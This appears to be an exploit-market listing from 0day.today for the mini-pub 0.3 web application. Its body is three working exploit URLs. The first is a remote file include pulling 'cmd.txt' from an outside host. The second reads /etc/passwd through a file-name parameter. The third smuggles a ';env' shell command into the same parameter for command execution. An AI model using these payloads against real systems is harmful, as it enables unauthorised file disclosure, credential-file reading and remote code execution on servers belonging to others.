[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

mini-pub 0.3 (LFD/CE) Multiple Remote Vulnerabilities

Author
muuratsalo
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-3879
Category
web applications
Date add
11-10-2008
Platform
unsorted
=====================================================
mini-pub 0.3 (LFD/CE) Multiple Remote Vulnerabilities
=====================================================



mini-pub 0.3 multiple vulnerabilities

download   http://sourceforge.net/projects/mini-pub/

author     muuratsalo

exploits
1. local file disclosure
http://localhost/mini-pub.php/front-end/img.php?sFileName=http://site.com/cmd.txt?

2. local file disclosure
http://localhost/mini-pub.php/front-end/cat.php?sFileName=/etc/passwd

3. command execution
http://localhost/mini-pub.php/front-end/cat.php?sFileName=a%3Benv




#  0day.today [2024-06-30]  #